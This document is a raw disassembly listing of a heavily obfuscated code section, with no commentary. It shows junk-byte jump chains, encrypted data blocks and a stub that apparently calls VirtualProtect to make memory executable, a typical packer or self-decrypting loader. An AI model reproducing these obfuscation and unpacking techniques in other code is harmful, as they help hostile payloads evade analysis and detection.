loc_4691D0: ; CODE XREF: DMN1:004691B1j stc jmp short loc_4691D4 ; --------------------------------------------------------------------------- db 3Ch ; --------------------------------------------------------------------------- loc_4691D4: ; CODE XREF: DMN1:004691D1j cld jmp short loc_4691DB ; --------------------------------------------------------------------------- db 9Ah db 7Bh, 87h, 17h ; --------------------------------------------------------------------------- loc_4691DB: ; CODE XREF: DMN1:004691D5j xchg esi, edx xchg esp, esp mov eax, edx test ecx, 208F99E2h jmp short loc_469204 ; --------------------------------------------------------------------------- db 0FAh, 0DAh, 0E5h dd 42133EAh, 30F20F1Eh, 7D60AB92h, 0FC4E7D10h, 5E1E40ABh dd 0DD9BD56Ah ; --------------------------------------------------------------------------- loc_469204: ; CODE XREF: DMN1:004691E7j jmp short loc_46920F ; --------------------------------------------------------------------------- dw 44CDh dd 39534E8Eh db 7, 2Fh, 0D3h ; --------------------------------------------------------------------------- loc_46920F: ; CODE XREF: DMN1:loc_469204j jmp short loc_46922C ; --------------------------------------------------------------------------- db 0CDh, 0D5h, 0 dd 1E4112E6h, 496DE1B2h, 0C1D6809Bh, 62E1B047h, 38B0BBC5h dd 7164ECBDh ; --------------------------------------------------------------------------- loc_46922C: ; CODE XREF: DMN1:loc_46920Fj jmp short loc_469239 ; --------------------------------------------------------------------------- dw 8608h dd 28513B91h, 0B8850623h ; --------------------------------------------------------------------------- push es loc_469239: ; CODE XREF: DMN1:loc_46922Cj jmp short loc_469250 ; --------------------------------------------------------------------------- db 0ABh dd 0C0C39785h, 312E3ADCh, 4C4DD7CEh, 9FE3AC13h, 0B99CB35h ; --------------------------------------------------------------------------- loc_469250: ; CODE XREF: DMN1:loc_469239j jmp short loc_469256 ; --------------------------------------------------------------------------- dw 0CDB2h db 16h, 8Fh ; --------------------------------------------------------------------------- loc_469256: ; CODE XREF: DMN1:loc_469250j jmp short loc_469264 ; --------------------------------------------------------------------------- dd 1E64EFC9h, 74FC313h, 0C504E2F1h ; --------------------------------------------------------------------------- loc_469264: ; CODE XREF: DMN1:loc_469256j jmp short loc_46926D ; --------------------------------------------------------------------------- dw 8FF4h dd 9B38F03Ch ; --------------------------------------------------------------------------- dec edx loc_46926D: ; CODE XREF: DMN1:loc_469264j jmp short loc_46927B ; --------------------------------------------------------------------------- aad 52h push cs mov ebp, 20AA2B2Ch xchg eax, ebx mov bh, 0B7h push ss loc_46927B: ; CODE XREF: DMN1:loc_46926Dj jmp short loc_46929B ; --------------------------------------------------------------------------- db 7Bh, 64h, 0A4h dd 0F890E781h, 874A7519h, 30E71321h, 2F3F488h, 0F4C27A4Bh dd 72B2128Dh db 91h, 13h, 0E5h ; --------------------------------------------------------------------------- loc_46929B: ; CODE XREF: DMN1:loc_46927Bj add eax, ebx jmp short loc_4692A7 ; --------------------------------------------------------------------------- cmc pop ss retn ; --------------------------------------------------------------------------- dw 0CCF8h db 0A8h, 0A5h, 3Eh ; --------------------------------------------------------------------------- loc_4692A7: ; CODE XREF: DMN1:0046929Dj jmp short loc_4692BA ; --------------------------------------------------------------------------- db 0CEh, 42h, 0FAh dd 0D46D927Bh, 28DDF602h, 7EB05A90h db 7Fh, 0D4h ; --------------------------------------------------------------------------- loc_4692BA: ; CODE XREF: DMN1:loc_4692A7j xchg ecx, ebx jmp short loc_4692D6 ; --------------------------------------------------------------------------- dw 27B5h dd 2FB98906h, 0B4A83B72h, 0EDB61503h, 14AC0CE2h, 0E83CF8E8h db 0A4h, 0D5h ; --------------------------------------------------------------------------- loc_4692D6: ; CODE XREF: DMN1:004692BCj xor esi, 3BCBA576h xchg eax, ebx xchg ecx, eax jmp short loc_469301 ; --------------------------------------------------------------------------- dw 460Eh dd 0DEEE5277h, 7B80ABC8h, 0CF5F67ABh, 5B55C415h, 4C71F3EAh dd 0FF510F2Dh, 692DC626h ; --------------------------------------------------------------------------- cli loc_469301: ; CODE XREF: DMN1:004692E0j mov [ebx], ebp jmp short loc_469324 ; --------------------------------------------------------------------------- db 0E9h, 0Fh, 0C2h ; --------------------------------------------------------------------------- adc [ecx+60h], ah cmpsb mov edi, 4764FBF9h mov cl, 0F7h jmp dword ptr ds:13B37470h ; --------------------------------------------------------------------------- db 0F2h, 0DAh, 0F7h ; --------------------------------------------------------------------------- clc lea eax, ds:761B6EA5h[ebp*4] loc_469324: ; CODE XREF: DMN1:00469303j jmp short loc_46932B ; --------------------------------------------------------------------------- dw 321Bh db 0B3h, 41h, 5 ; --------------------------------------------------------------------------- loc_46932B: ; CODE XREF: DMN1:loc_469324j jmp short loc_469340 ; --------------------------------------------------------------------------- db 8Ah, 31h, 0F5h dd 8B827DACh, 0ABA8D3A7h, 0AB72843Ah, 0C6475707h ; --------------------------------------------------------------------------- loc_469340: ; CODE XREF: DMN1:loc_46932Bj xchg ecx, ebp jmp short loc_469363 ; --------------------------------------------------------------------------- dd 68174EC1h, 0F4957A7Ch, 4E12F076h, 882D358Dh, 0B7AC4108h dd 75759D45h, 94574B9Dh db 88h, 5Ch, 0E7h ; --------------------------------------------------------------------------- loc_469363: ; CODE XREF: DMN1:00469342j xchg ecx, esp xchg esi, esi jmp short loc_469380 ; --------------------------------------------------------------------------- db 15h, 55h, 44h dd 5A782FD6h, 8889A9FEh, 0C54AC105h, 430E1E1Ch, 0B3656CFFh ; --------------------------------------------------------------------------- loc_469380: ; CODE XREF: DMN1:00469367j jmp short loc_46939E ; --------------------------------------------------------------------------- dw 7D61h dd 95A9E299h, 15CFEF07h, 0CA47485Bh, 0A599EA9Ah, 0AF80A2BFh dd 1807CFC1h db 52h, 0Bh ; --------------------------------------------------------------------------- loc_46939E: ; CODE XREF: DMN1:loc_469380j cmc add edx, 2 jmp short loc_4693AF ; --------------------------------------------------------------------------- dd 79E989B2h, 35E13084h db 36h, 2Fh, 5Eh ; --------------------------------------------------------------------------- loc_4693AF: ; CODE XREF: DMN1:004693A2j jmp short loc_4693C1 ; --------------------------------------------------------------------------- db 45h, 0A7h, 85h dd 33122B4Fh, 1A0C94ACh, 89EEC6C1h db 90h ; --------------------------------------------------------------------------- loc_4693C1: ; CODE XREF: DMN1:loc_4693AFj clc jmp short loc_4693D2 ; --------------------------------------------------------------------------- dd 29BED904h, 3EBCC011h, 8B982DDDh db 4Ch, 6Bh ; --------------------------------------------------------------------------- loc_4693D2: ; CODE XREF: DMN1:004693C2j jmp short loc_4693E3 ; --------------------------------------------------------------------------- db 0CCh db 71h, 94h, 0B4h dd 0F4E538D6h, 9FDBDBB0h db 0EDh, 9Ch, 98h ; --------------------------------------------------------------------------- loc_4693E3: ; CODE XREF: DMN1:loc_4693D2j xchg eax, edi jmp short loc_4693EA ; --------------------------------------------------------------------------- add esi, [esi-70h] loc_4693EA: ; CODE XREF: DMN1:004693E5j jmp short loc_4693F1 ; --------------------------------------------------------------------------- dd 0BF8CE75Dh ; --------------------------------------------------------------------------- leave loc_4693F1: ; CODE XREF: DMN1:loc_4693EAj add edx, 1 inc ebp stc jmp short loc_4693FD ; --------------------------------------------------------------------------- movsd ror byte ptr [esi-30h], 1 push esp loc_4693FD: ; CODE XREF: DMN1:004693F6j xchg edi, esp clc xchg edi, ebp xchg ecx, eax jmp short loc_469416 ; --------------------------------------------------------------------------- dw 5664h dd 90587E7Fh, 0AC1E0B69h, 55099EFFh db 0A9h, 7Ch ; --------------------------------------------------------------------------- loc_469416: ; CODE XREF: DMN1:00469404j xchg esi, ebx jmp short loc_46941E ; --------------------------------------------------------------------------- inc edi ficom word ptr [ebp-7Ah] loc_46941E: ; CODE XREF: DMN1:00469418j stc jmp short loc_46943F ; --------------------------------------------------------------------------- db 57h, 19h, 9 dd 15978AEh, 0AD020C6Ah, 2FC98CD2h, 0B87DF7DAh, 1DDD0E5Eh dd 0BA2D28E7h db 48h, 0F7h, 8 ; --------------------------------------------------------------------------- loc_46943F: ; CODE XREF: DMN1:0046941Fj not ebp stc jmp short loc_469455 ; --------------------------------------------------------------------------- dd 0AC913A0h, 836FE091h, 0D4FA5E8Bh, 0F95325C7h db 6Fh ; --------------------------------------------------------------------------- loc_469455: ; CODE XREF: DMN1:00469442j inc edx jmp short loc_469467 ; --------------------------------------------------------------------------- add ah, ch enter 292Dh, 80h fnstcw word ptr [edi+0B29ADA4h] xor edi, edi dec esi loc_469467: ; CODE XREF: DMN1:00469456j xchg edx, ebx jmp short loc_469477 ; --------------------------------------------------------------------------- dec esi retf 1204h ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- sub al, 0E1h xor eax, 0E168B66h loc_469477: ; CODE XREF: DMN1:00469469j std bswap edi jmp short loc_46947E ; --------------------------------------------------------------------------- sbb al, ch loc_46947E: ; CODE XREF: DMN1:0046947Aj jmp short loc_469488 ; --------------------------------------------------------------------------- dd 0E67EEB6Bh, 0E239E0B4h ; --------------------------------------------------------------------------- loc_469488: ; CODE XREF: DMN1:loc_46947Ej jmp short loc_46949D ; --------------------------------------------------------------------------- dw 7408h dd 5E3D12BEh, 0A9763EC6h, 775005BCh, 4947A676h db 0 ; --------------------------------------------------------------------------- loc_46949D: ; CODE XREF: DMN1:loc_469488j jmp short loc_4694AA ; --------------------------------------------------------------------------- db 19h dd 0AA996220h, 57F2961Ch db 63h, 0C5h ; --------------------------------------------------------------------------- loc_4694AA: ; CODE XREF: DMN1:loc_46949Dj xchg eax, ebp jmp short loc_4694C3 ; --------------------------------------------------------------------------- dw 0C16Dh dd 69F872D1h, 3B9F1170h, 0D473348Eh, 0D1C9CE63h db 11h, 0E8h, 0E9h ; --------------------------------------------------------------------------- loc_4694C3: ; CODE XREF: DMN1:004694ACj xchg esi, ebp jmp short loc_4694D2 ; --------------------------------------------------------------------------- db 0DDh dd 320E4C80h, 0E2B2A455h db 13h, 0B9h ; --------------------------------------------------------------------------- loc_4694D2: ; CODE XREF: DMN1:004694C5j bswap eax dec esi jz short loc_46954E xchg ebx, ebx xchg esi, ebx neg eax jmp short loc_4694F6 ; --------------------------------------------------------------------------- db 0C0h dd 42612A8Ah, 6C69CC3Eh, 7049137Ah, 0D9BA225Ah, 0B91F4B88h ; --------------------------------------------------------------------------- aaa movsd loc_4694F6: ; CODE XREF: DMN1:004694DDj xchg edi, ebx std jmp short loc_4694FE ; --------------------------------------------------------------------------- db 3Fh db 0C8h, 3Bh ; --------------------------------------------------------------------------- loc_4694FE: ; CODE XREF: DMN1:004694F9j jmp short loc_469501 ; --------------------------------------------------------------------------- push esi loc_469501: ; CODE XREF: DMN1:loc_4694FEj jmp short loc_469506 ; --------------------------------------------------------------------------- db 0D1h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_469506: ; CODE XREF: DMN1:loc_469501j xchg ebp, esp jmp short loc_46950C ; --------------------------------------------------------------------------- dw 63F4h ; --------------------------------------------------------------------------- loc_46950C: ; CODE XREF: DMN1:00469508j jmp short loc_469526 ; --------------------------------------------------------------------------- dw 2834h dd 276772Bh, 12A5D1B8h, 86F733ACh, 0A626F13Fh, 0C7B5A4E1h ; --------------------------------------------------------------------------- icebp pop ebx loc_469526: ; CODE XREF: DMN1:loc_46950Cj jmp short $+2 jmp short loc_469547 ; --------------------------------------------------------------------------- dw 91B3h dd 4055BED2h, 28708149h, 0D68F9313h, 0F20BF7B3h, 38E3673Eh dd 612EBBDDh db 6Dh, 5Bh, 0B9h ; --------------------------------------------------------------------------- loc_469547: ; CODE XREF: DMN1:00469528j xchg esp, ecx jmp loc_468F1E ; --------------------------------------------------------------------------- loc_46954E: ; CODE XREF: DMN1:004694D5j xchg ebp, esp xchg esp, ecx bswap edx jmp short loc_469561 ; --------------------------------------------------------------------------- dw 0BF0Bh ; --------------------------------------------------------------------------- inc ebp cmp byte ptr ss:[edi+509494B1h], 0BFh loc_469561: ; CODE XREF: DMN1:00469554j jmp short loc_469582 ; --------------------------------------------------------------------------- db 75h dd 0E4C36340h, 0B685A14Ch, 56AA4EA0h, 585FB15Ah, 0B1987F0Fh dd 57797A28h, 0B8984CEDh ; --------------------------------------------------------------------------- push dx loc_469582: ; CODE XREF: DMN1:loc_469561j inc edx cld jmp short loc_469589 ; --------------------------------------------------------------------------- pop edi push ebp daa loc_469589: ; CODE XREF: DMN1:00469584j jmp short loc_4695A4 ; --------------------------------------------------------------------------- db 7 dd 92DE62EAh, 8CB61E15h, 62FCC186h, 0DBCDFA00h, 9C4FEC12h dd 7C916727h ; --------------------------------------------------------------------------- loc_4695A4: ; CODE XREF: DMN1:loc_469589j jmp short loc_4695B1 ; --------------------------------------------------------------------------- dw 56C0h dd 8FDE2A34h, 7D3ECFE2h db 80h ; --------------------------------------------------------------------------- loc_4695B1: ; CODE XREF: DMN1:loc_4695A4j jmp short loc_4695D0 ; --------------------------------------------------------------------------- db 0AAh dd 2D6A3DC1h, 4FC7B2CEh, 37DA62A1h, 0C6BA0144h, 78312B59h dd 0B5757CF0h, 7815F5B1h ; --------------------------------------------------------------------------- loc_4695D0: ; CODE XREF: DMN1:loc_4695B1j jmp short loc_4695F0 ; --------------------------------------------------------------------------- dw 4C7Ch dd 0AC3D7E58h, 862A15F6h, 17629A97h, 0B95FB767h, 0D9482970h dd 19EE3FABh, 0DF93ACF7h ; --------------------------------------------------------------------------- loc_4695F0: ; CODE XREF: DMN1:loc_4695D0j jmp short loc_4695F9 ; --------------------------------------------------------------------------- dw 1416h dd 99B09D5Eh db 0Dh ; --------------------------------------------------------------------------- loc_4695F9: ; CODE XREF: DMN1:loc_4695F0j cld jmp short loc_469606 ; --------------------------------------------------------------------------- dd 0CED36A2Ch, 6290D2E1h db 0D9h, 5Bh ; --------------------------------------------------------------------------- loc_469606: ; CODE XREF: DMN1:004695FAj pop edx add edx, 0DE8EBF51h jmp short loc_46961A ; --------------------------------------------------------------------------- db 6 dd 1716327h, 46CA8F03h ; --------------------------------------------------------------------------- fstp dword ptr [esi] loc_46961A: ; CODE XREF: DMN1:0046960Dj jmp short loc_46961D ; --------------------------------------------------------------------------- cmpsd loc_46961D: ; CODE XREF: DMN1:loc_46961Aj jmp short loc_46962C ; --------------------------------------------------------------------------- db 0B1h dd 78568533h, 54BB87A0h, 0B7C4F8B1h ; --------------------------------------------------------------------------- loc_46962C: ; CODE XREF: DMN1:loc_46961Dj jmp short loc_469640 ; --------------------------------------------------------------------------- dw 53F2h dd 15ECA315h, 1913FFF0h, 8E94B464h, 21A6323Dh ; --------------------------------------------------------------------------- loc_469640: ; CODE XREF: DMN1:loc_46962Cj jmp short loc_469651 ; --------------------------------------------------------------------------- dw 67Ch dd 0DD5CEFDAh, 0D20964D1h, 0D9CA007Ch db 7Fh ; --------------------------------------------------------------------------- loc_469651: ; CODE XREF: DMN1:loc_469640j jmp short loc_46966F ; --------------------------------------------------------------------------- db 4Eh dd 8FB5D8AFh, 8256BB99h, 7F9D9D31h, 0A2612F8Eh, 78C4D24Fh dd 0F84875B3h ; --------------------------------------------------------------------------- adc al, [edi-35h] loc_46966F: ; CODE XREF: DMN1:loc_469651j jmp short loc_46968B ; --------------------------------------------------------------------------- db 45h, 49h, 1Fh dd 4CDA9552h, 7BEA73BAh, 314F8D2Ch, 0F88CB837h, 46638D3Bh db 0A0h, 49h, 7Fh ; --------------------------------------------------------------------------- loc_46968B: ; CODE XREF: DMN1:loc_46966Fj jmp short loc_4696AC ; --------------------------------------------------------------------------- db 8Fh, 88h, 62h db 0CCh db 8Fh, 24h, 51h ; --------------------------------------------------------------------------- mov word ptr [ebp+2B1A7FAFh], cs sub ebx, [ecx-7Fh] rol byte ptr [ebx], cl popf sub al, 0FEh inc edi jbe short loc_4696B2 dec ecx mov eax, 52EDC34Fh pop edi loc_4696AC: ; CODE XREF: DMN1:loc_46968Bj jmp short $+2 jmp short loc_4696CE ; --------------------------------------------------------------------------- sbb ch, [edi] loc_4696B2: ; CODE XREF: DMN1:004696A3j cmp bh, ds:4AC62282h enter 0FFFFE7A0h, 55h test [esi-7Fh], dl loope near ptr loc_46970C+2 outsd rep aas test ebp, eax sbb [ebp-38A3AE7Dh], dh jnp short near ptr loc_4696CE+1 loc_4696CE: ; CODE XREF: DMN1:004696AEj ; DMN1:004696CCj jmp short $+2 jmp loc_468902 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4696D5 proc near ; CODE XREF: DMN1:0046973Fp var_24 = dword ptr -24h var_18 = byte ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor edx, 12583D39h xor edx, 78EF8E70h mov eax, 10000000h add edx, eax add esp, 10h mov ebp, [esp-10h+arg_4] push edx pusha push 0 lea edx, [esp+18h+var_18] push edx push 40h push 16C12h add [esp+24h+var_24], 1000h push eax loc_46970C: ; CODE XREF: DMN1:004696BFj add eax, 1000h add eax, 47023h call dword ptr [eax] add esp, 4 popa retn sub_4696D5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 8000h mov edx, 76502073h mov eax, 513C6B17h loc_46972F: ; CODE XREF: DMN1:0046973Cj add eax, 3A1B0B60h xor edx, eax add dx, ax rol edx, 7 loop loc_46972F push eax call sub_4696D5 leave retn ; --------------------------------------------------------------------------- align 4 dd 5Eh dup(0) dd 1000000h, 69784500h, 6F725074h, 73736563h, 56000100h dd 75747269h, 72506C61h, 6365746Fh, 80000074h, 800E0004h dd 4, 656B0000h, 6C656E72h, 642E3233h, 6C6Ch, 0 dd 0FF000000h, 2BFFFFFFh, 1F000480h, 480h, 5 dup(0) dd 10000470h, 25000000h, 3Ch, 4Eh dup(0) dd 0D5000000h, 2FB625BFh, 51369D62h, 0A1880285h, 6B0E3400h dd 0FC9007E1h, 8349D43Ch, 393D4004h, 32CACCE5h, 60DD6B6Ch dd 0C13F5CB3h, 0A53C65A7h, 2D208AE8h, 0EB7854A6h, 0DB59EBABh dd 0F01AB573h, 2639810Bh, 0E969CCFCh, 14AE4E0h, 3776633Bh dd 0DD3362DDh, 0B86D7691h, 0B2932D50h, 505D890Eh, 0F8106877h dd 5A24483Dh, 299295F8h, 93C4879Bh, 0B942A03Ch, 0ECCBC35h dd 0DDE10E16h, 149ADE3h, 0C0C135F2h, 4B98D6FAh, 75C942BEh dd 0F7B68596h, 4B0A910Eh, 57B21265h, 6D4251B7h, 7F5CAF22h dd 0D8B2DF04h, 74E23515h, 8C6D545h, 340857A6h, 0B2A9E5C7h dd 0A1AABD88h, 0F542C314h, 868D5F1Fh, 2259DDFCh, 32146206h dd 3D12F69Dh, 4F035A77h, 0C23C77A5h, 0C0A3135Dh, 9C4C1569h dd 0B53CD810h, 45FAA8D8h, 686F1089h, 6FECC6C5h, 5E0EAEDEh dd 0A2EC813Bh, 9EFECDA0h, 53938496h, 6107C350h, 6CBCD9C5h dd 976CBBC7h, 0BF4BD1B0h, 0A1B72A57h, 4EB66E9h, 51D92622h dd 43FCCB7Ah, 0CD436561h, 8FC114BDh, 0AD021FE6h, 0D43FE690h dd 0BBCB7528h, 4C16FDA3h, 851F3BF5h, 45452F29h, 4916692Bh dd 86D6B5Bh, 7C2BD0B5h, 22853FCDh, 9A3F7E5Dh, 48C942A9h dd 93C4AB37h, 0FACB7D00h, 0B1943A8Ah, 9F52D602h, 0F657218Fh dd 0F4E7B587h, 12AD9FBFh, 0D3B1084Bh, 0AEF69236h, 0BC2B51DCh dd 73FD0BD7h, 0F65CA127h, 7EC1DF0Fh, 0A5FE456Ah, 0C7A3B84Fh dd 0E29941F8h, 0EE148DBDh, 53E4314Fh, 3A124D98h, 98E49B15h dd 0E2846C7Ah, 8633B9D4h, 5E21FED8h, 3FA8B66h, 8D0F16D8h dd 5BB5ED09h, 0EE7B7B2Ch, 0C9DD6FC9h, 0C271577Bh, 9AC4A01Bh dd 48F4C6Eh, 8BCE5DBBh, 0CC276506h, 884B222Dh, 0FB77FA21h dd 7D561B9Ch, 0ABBB8E8Dh, 4728875Ah, 7CF851A4h, 0A5B8970Ch dd 2C9BC369h, 0FEAA7CEDh, 70E4EF2h, 5269147Fh, 3189FF66h dd 0FF1CFC9Fh, 16E439E6h, 49C89705h, 0F741E105h, 0FFCC7693h dd 8D56DBA8h, 0CA7DDCB2h, 0A0B2833Bh, 695793EAh, 95135F8Ah dd 0BABF00B1h, 58E209ECh, 13B26366h, 0EAF2941Dh, 6FCEE1BDh dd 74071FDDh, 4ED32DDFh, 14457244h, 5F7EFAAAh, 495A6EFh dd 0B683E8A2h, 0F056E329h, 2399FB8Dh, 0B145DA5Ch, 3A795797h dd 0DD88340Dh, 916931D8h, 0EC2B2D58h, 2364B1CFh, 60287027h dd 55A839E7h, 76A0F732h, 3B580A9Ch, 0C77F701Bh, 0E6ECDB96h dd 2804306Ah, 520F469Bh, 94E3BC4Dh, 428C00F4h, 0E99B5C49h dd 6A128CFDh, 45F4E5FDh, 0C7C5F990h, 4CFC1373h, 4D31774Ah dd 9E202645h, 6020995Ch, 0F591A5D2h, 64CAD6D0h, 0AD0620BEh dd 79177756h, 0C21F7231h, 9367A47Fh, 6349CDC1h, 0F99D2037h dd 39200987h, 8E362914h, 63209D70h, 1456D9D8h, 9DBDA28Eh dd 52EB1C6Fh, 3C8CAC39h, 0DC3CB2E6h, 0F92F4187h, 0FED3F7B8h dd 0CB9E0573h, 0D7EAA520h, 0BC620ABAh, 29AA598Eh, 88DA8F50h dd 0C151F7CCh, 329CD3Ah, 18B6B7CEh, 0E4CF4EA8h, 0F9F96A68h dd 5C3FA4AAh, 89CEB5AEh, 0E46991F5h, 0B2A58DFFh, 0F185D67Eh dd 9D1F0135h, 9E21460Ah, 39D4391Fh, 0CE23AAE3h, 0CE8D199Ah dd 0AA158C10h, 0CE9E960Ah, 30B45206h, 0AF6E5378h, 1CE8FB16h dd 911EDD8Fh, 0F9F40256h, 0F4BD2B3Eh, 0A87D7A1Eh, 0C9EFBD1Eh dd 0FB20367Eh, 86B5B790h, 98E6C2DBh, 3307057Eh, 7650AA42h dd 41A6C213h, 0CDA6F5E7h, 4E4D71DDh, 0BE1697EFh, 0A23DFE7h dd 985C828Ch, 109C1EFDh, 0D30E2BA8h, 0B8B4E9ACh, 85C3EEDBh dd 4DFF5204h, 0ABFE6538h, 0C44DC3EEh, 2EAF7718h, 14F11BB8h dd 0EEFE7D0Dh, 0D57AED63h, 0C72A1CD9h, 97DB946Fh, 6025B10Ch dd 9539CD7Fh, 2D691892h, 71B51067h, 0DF494D5Ch, 1282C0DBh dd 1365838Dh, 90226603h, 9FDF1CADh, 216E3FC9h, 3EDB31FEh dd 4CBE41DFh, 0FFAF56D9h, 0C73D7A08h, 0FB3F71ECh, 5B7514E0h dd 879112C8h, 4992DA78h, 39A89270h, 0BC284223h, 0C3F10B4Ch dd 5F4AFC85h, 38E6E0CEh, 0B152A087h, 1A5C2E7Ch, 0F77167BBh dd 0B46E4C7Dh, 0EBEE71C9h, 0DDCE4F89h, 0CBF4A26Dh, 0FF7C0BB8h dd 5D4E3221h, 5196D2E2h, 5CB7DABEh, 17ED5E37h, 6BAB1C4Ch dd 0A402ECDFh, 0AAEB55C2h, 165366A3h, 0D033E4FAh, 699C6FA6h dd 0AEE74C0Ah, 14D74A11h, 0F51E02ECh, 821A527Ch, 8C73385Ah dd 1E84CE6h, 8770D952h, 2EAD2972h, 0ED39F43Eh, 1C9D38CAh dd 7621D5C5h, 521070FEh, 832ABB13h, 86DB5507h, 758FA3B6h dd 1F029A49h, 0E4538ED0h, 8DBB1DCAh, 908F8610h, 1FC1935Ah dd 84A09AA5h, 12537234h, 0B624E232h, 823338FCh, 0CFF92Ch dd 0F26D0103h, 3B735DCEh, 25002170h, 0AC4FD537h, 52917941h dd 86E5EEBFh, 0ADF5D234h, 12E7B737h, 0A2D01F5Eh, 76819088h dd 3893871Dh, 6FCF8BFFh, 548615C8h, 53B1B9ECh, 98C0F34Dh dd 0AE988BA9h, 1A784B64h, 0BBA8BE08h, 0CCF1E8C5h, 592C5D96h dd 0C4041366h, 8DA8DC2h, 4E57700Bh, 6F7B36DBh, 12B24A07h dd 536CB061h, 1CE6110Bh, 242B344h, 16EE8C9Fh, 32B3250Ah dd 0CFAA6502h, 414AF5F0h, 5F5D908Ah, 989A24DDh, 4898028Fh dd 0A694C3Bh, 7C079779h, 0DDA8911Bh, 0FD5D30Eh, 5B2842D0h dd 0CABB7373h, 46EC00CFh, 4F275650h, 0E8D9090Bh, 0CFDC2FC0h dd 3C319970h, 134F8A51h, 0CF8A6E03h, 0CA65A454h, 643DD211h dd 0BB61EF93h, 0FE140CA7h, 99926D40h, 0D4C4B823h, 2A9E0B7Ah dd 3C632E73h, 0EE2BC8F2h, 61FDC03Dh, 0D1490135h, 0F9B6D935h dd 0FC25DE72h, 6B2805B7h, 9A6A0A07h, 91B7363Eh, 0F5B87C28h dd 33381A67h, 864D4754h, 0A7640EEFh, 1B4CBE9Eh, 186D3A81h dd 0C52F29CBh, 6CFE4137h, 60B36D6Dh, 8082C534h, 0EAB40484h dd 17D98B59h, 0F83E6E32h, 4EA14C72h, 137D55E4h, 0B00312A6h dd 867F57ACh, 8EF66BA5h, 3CDBB0C9h, 0FC248C05h, 67F2B66Ah dd 8F4280CCh, 0AC98E5ECh, 58C11AE8h, 5F3AFDB7h, 36BB945Ah dd 0BF3E42C5h, 0D417A5C7h, 0A0301AA2h, 4557250h, 33365245h dd 9D11243Bh, 7F22A6B3h, 0B9EA83CDh, 36236EE0h, 7C9EE091h dd 2BFD90C1h, 0FBF523B4h, 0B8F7BA1Ch, 0B040D079h, 68F0933Bh dd 2918B0C5h, 454C25DFh, 0DC31D334h, 0FDD2AB58h, 15C89676h dd 652EA0B7h, 18FEBA68h, 2CD44E33h, 439D189Ah, 0AFF094A4h dd 6526A649h, 0F4E36224h, 8BA711BCh, 567CE474h, 0F6D30E39h dd 8B7CB532h, 0C2346E35h, 0EA8826A5h, 31A1D0E5h, 0A9496F7h dd 507B4FDDh, 34994321h, 2A2CFB0Fh, 5106C92Ah, 31D7BBF4h dd 10857275h, 2DF52F3Ah, 31E86BE4h, 3F88699Ch, 486971D7h dd 0FE463FF4h, 9E9A457Ah, 0CEBB511Eh, 7F0CA3BEh, 9CC940EFh dd 88C578F7h, 643FC3B8h, 6698C5BDh, 2F779DAAh, 1A5A63FBh dd 0B772DA82h, 775E3B36h, 486F459Eh, 3FE951B2h, 453BCB25h dd 0CBA9916Fh, 1AD3F014h, 8988BA31h, 0ACADF59Ah, 25522ECh dd 6BA580DFh, 6984389Dh, 88FA2A96h, 637F4C5Fh, 8CCE6736h dd 0FDF3C6A4h, 632DAAAFh, 1A10A832h, 47BAC477h, 2C0FDB2Fh dd 400B7A79h, 3A4FDDC0h, 91EE0697h, 1454DEB8h, 0AE73E126h dd 6C5374FCh, 0DA45DB9Fh, 767597B4h, 9FF900C6h, 0EF0E9CBBh dd 0E2645436h, 20EB8747h, 1C46CCC4h, 0D9BBBF7Ch, 6C278A72h dd 7B44339Ah, 50D86FB5h, 749B7A64h, 0CD2D295Dh, 19643ECEh dd 2450E5BFh, 0AED31621h, 0B197D2E1h, 0C8B18F78h, 79739D8Ah dd 0FF8092BEh, 0E1DD2DA7h, 1F7C3E9Dh, 0BFCE99CCh, 8C96CA2Bh dd 197E353h, 4F492DA9h dd 62BE0519h, 398E8B67h, 95BB98B4h, 8E0FBCE2h, 8A7DC2F5h dd 2BF10482h, 271C741Dh, 4101DE95h, 0E9A60D25h, 864C1987h dd 3A530549h, 4B596420h, 4E578F2Eh, 0BBF6FA86h, 99A10B95h dd 0F17B6D39h, 6C083CF7h, 943D542Ch, 609E73C2h, 0F748A09Ah dd 0B3D59A5Bh, 33E57D11h, 300E26D1h, 58347524h, 7A127C6Bh dd 0D921492h, 0A66D4C6Eh, 7186DC11h, 45DFF205h, 0ACE6F439h dd 0B7E96DD9h, 886E5B7Bh, 0E0E39F52h, 0A36BEA3Eh, 0FE80A196h dd 7F9419F1h, 2DE66B20h, 3BA9A31Ah, 0B4FCD5FFh, 0B35B3B5Ah dd 91A1C673h, 5E5C8D47h, 0DBF16299h, 88369607h, 0ADCBBBD9h dd 0C397FC76h, 1805783Eh, 0CF63DD57h, 76CEE47h, 78139F37h dd 5B9B7120h, 27D10472h, 0A07048DEh, 1B8E37A8h, 0C2167014h dd 888B11C7h, 4200A8A3h, 614F7DB7h, 32E6F8E2h, 0DA53F177h dd 0F28DD0AAh, 0A75D7798h, 0B7CE86FAh, 4106DE85h, 4B1178B5h dd 0A55F58B9h, 7C3E111Ch, 0BF2929C2h, 20689D2Eh, 826FB982h dd 32F07E33h, 0E4B65E37h, 0BB7F930Ah, 5F14A1DBh, 0A1EC7C51h dd 0E0267FE4h, 1C2B862Fh, 0ECED9051h, 5E76251Eh, 952F1B2Bh dd 0BC1F839Ah, 0E93E0A22h, 7EF17119h, 6619EF9Dh, 4C4CDB7Bh dd 5132A403h, 48DEFC25h, 26E44BE4h, 94FCD763h, 0C640CBB6h dd 912E21DAh, 3FDBE3B2h, 0E284FB45h, 853A33E5h, 79D3AE75h dd 0B6147E69h, 94452678h, 36EA813Ch, 0B8B6B303h, 94E3FF81h dd 71CD454Bh, 0AA9BC2ADh, 0CF17E361h, 85D2BCBBh, 6A388993h dd 0F353DE1Bh, 4244B64Bh, 9C7B81B3h, 4A45A961h, 42E6DC42h dd 8916FBC3h, 0C6DF314Ah, 0F7211798h, 71B6CDBCh, 1E61ABDCh dd 20019140h, 8ECA4D7Fh, 0BAF581A8h, 70E7FB0Eh, 2034A01h dd 19EC3307h, 0CD80C3B0h, 76996490h, 0DE41D473h, 50429DD0h dd 7DDD1642h, 0F41B9F50h, 0A6C776D6h, 36D55F3Ch, 6711CC64h dd 3CD21EF9h, 0E156238Dh, 7AA6580Bh, 0CF879F60h, 9D70A658h dd 563DCA7Ah, 